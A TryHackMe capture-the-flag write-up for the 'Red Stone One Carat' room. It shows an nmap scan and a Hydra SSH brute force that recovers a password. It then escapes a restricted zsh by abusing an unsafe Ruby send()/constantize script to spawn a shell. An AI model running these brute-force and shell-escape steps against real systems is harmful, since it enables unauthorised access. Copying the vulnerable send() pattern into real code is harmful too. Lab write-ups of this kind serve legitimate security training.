TryHackMe - Red Stone One Carat - Writeup

First room of the Red Stone series. Hack ruby using ruby.

Nmap Scan

root@ip-10-10-178-181:~# nmap -sCV -A 10.10.76.36

Starting Nmap 7.60 ( https://nmap.org ) at 2021-05-20 07:51 BST
Nmap scan report for ip-10-10-76-36.eu-west-1.compute.internal (10.10.76.36)
Host is up (0.00049s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 fe:e7:f2:f6:74:65:a6:dd:f2:94:cd:45:fd:f3:2b:2a (RSA)
|   256 34:a3:16:aa:b3:1f:83:ac:91:a3:31:b4:45:94:3c:c9 (ECDSA)
|_  256 75:23:c0:66:c7:2c:6e:12:0a:f7:04:61:2b:c6:12:62 (EdDSA)
MAC Address: 02:4A:D8:DC:71:55 (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.60%E=4%D=5/20%OT=22%CT=1%CU=35937%PV=Y%DS=1%DC=D%G=Y%M=024AD8%T
OS:M=60A6071E%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=107%TI=Z%CI=Z%TS=A
OS:)SEQ(SP=100%GCD=1%ISR=107%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M2301ST11NW7%O2=M23
OS:01ST11NW7%O3=M2301NNT11NW7%O4=M2301ST11NW7%O5=M2301ST11NW7%O6=M2301ST11)
OS:WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=
OS:F507%O=M2301NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N
OS:)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0
OS:%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7
OS:(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=
OS:0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.49 ms ip-10-10-76-36.eu-west-1.compute.internal (10.10.76.36)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.24 seconds

Bruteforce SSH

User: noraj given in the Task 2. Now brute force SSH using Hydra. Bruteforcing may take long time don’t need to worry.

root@ip-10-10-178-181:~# hydra -t 32 -l noraj -P /usr/share/wordlists/rockyou.txt 10.10.76.36 ssh
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2021-05-20 08:25:17
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 32 tasks per 1 server, overall 32 tasks, 14344398 login tries (l:1/p:14344398), ~448263 tries per task
[DATA] attacking ssh://10.10.76.36:22/
[STATUS] 532.00 tries/min, 532 tries in 00:01h, 14343886 to do in 449:23h, 32 active
[STATUS] 508.33 tries/min, 1525 tries in 00:03h, 14342926 to do in 470:16h, 32 active
[STATUS] 492.86 tries/min, 3450 tries in 00:07h, 14341013 to do in 484:58h, 32 active
[STATUS] 479.67 tries/min, 7195 tries in 00:15h, 14337268 to do in 498:11h, 32 active
[STATUS] 475.97 tries/min, 14755 tries in 00:31h, 14329708 to do in 501:47h, 32 active
[22][ssh] host: 10.10.76.36   login: noraj   password: cheeseburger
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 25 final worker threads did not complete until end.
[ERROR] 25 targets did not resolve or could not be connected
[ERROR] 32 targets did not complete
Hydra (http://www.thc.org/thc-hydra) finished at 2021-05-20 09:00:34

Now login with the password

root@ip-10-10-178-181:~# ssh noraj@10.10.76.36 
noraj@10.10.76.36's password: 
getent:6: command not found: grep
compdump:136: command not found: mv
red-stone-one-carat% 

This shell is different so for check which shell currently we are in type $ echo $SHELL

red-stone-one-carat% which $SHELL
/bin/rzsh

Which mean it’s restricted shell.

Finding user.txt

As this shell have restrictions we can’t use cat, ls but we have permission to use echo, exec

red-stone-one-carat% echo *
bin user.txt
red-stone-one-carat% echo "$(< user.txt)"
THM{3a10609xxxxxxxxxxxxxxxxbac92409d}
red-stone-one-carat% 

We got the user.txt now it’s time for root.txt. I found dot file named .hint.txt

red-stone-one-carat% echo .*  
.cache .hint.txt .zcompdump.red-stone-one-carat.2051 .zcompdump.red-stone-one-carat.2165 .zcompdump.red-stone-one-carat.2232 .zshrc
red-stone-one-carat% echo "$(< .hint.txt)"
Maybe take a look at local services.

It seems we have to take a look on local services but before that we have to escape from the shell. Few times after checking I saw that $PATH variable set to /home/noraj/bin

Thers is two file in bin directory. One rzsh and another test.rb. I tried to find if ruby installed but no luck.

red-stone-one-carat% echo bin/*
bin/rzsh bin/test.rb

I typed test.rb it’s returing the code into the test.rb file

red-stone-one-carat% test.rb               
#!/usr/bin/ruby

require 'rails'

if ARGV.size == 3
    klass = ARGV[0].constantize
    obj = klass.send(ARGV[1].to_sym, ARGV[2])
else
    puts File.read(__FILE__)
end

The things caught my eye is send() function I searched in google ruby send to_sym and saw a security docs about send() method they mentioned in the doc.

If an attacker can control the first two arguments to send, remote code execution is possible:

# params is { :a => "eval", :b => "...ruby code to be executed..." }
foo.send(params[:a], params[:b])

Interesting! Here we need to pass 3 argument let breakdown the code here:

From the docs of ruby constantize tries to find a declared constant with the name specified in the string. Eg: 'Module'.constantize from the snippet we see that if we wanted to use ARGV[0] then it must be Module or Class. Reference.

klass = ARGV[0].constanize

In this like we have klass.send() it means we have to use ARGV[0] as class and ARGV[1] method of the ARGV[0]. Now ARGV[2] as per the security docs I mentioned if an attacker can control first two argument then it possible to execute remote code executaion.

obj = klass.send(ARGV[1].to_sym, ARGV[2])

I found that Kernel module is included by class Object and its methods are available in every Ruby object. I found a method named #system using this method we can execute command. Now we are able to control the first two argument now our plan to execute /bin/sh shell

So, We can combine all 3 argument like test.rb Kernel 'system' "/bin/bash"

red-stone-one-carat% test.rb Kernel 'system' "/bin/bash"                     
red-stone-one-carat% 

We can’t able to escape because we are still in restricted environment and common softwares are block. In linux there are another /bin directory available where you can find a sh.shared executable. Now let’s try this test.rb Kernel 'system' "/usr/lib/klibc/bin/sh.shared"

red-stone-one-carat% test.rb Kernel 'system' "/usr/lib/klibc/bin/sh.shared"
$ echo *
bin user.txt

Yay! we escaped from restricted shell. Now export PATH to to access on default /bin folder

$ export PATH=$PATH:/usr/bin:/bin:/sbin:/usr/local/bin:/usr/sbin
$ ls
bin  user.txt

Previously we found a .hint.txt file where they given a hint to check local network services. So, I treid netstat , ps but they aren’t accessible.

We have permission on ftp so lets try to login to host to get the netstat.rb file.

Written on May 17, 2021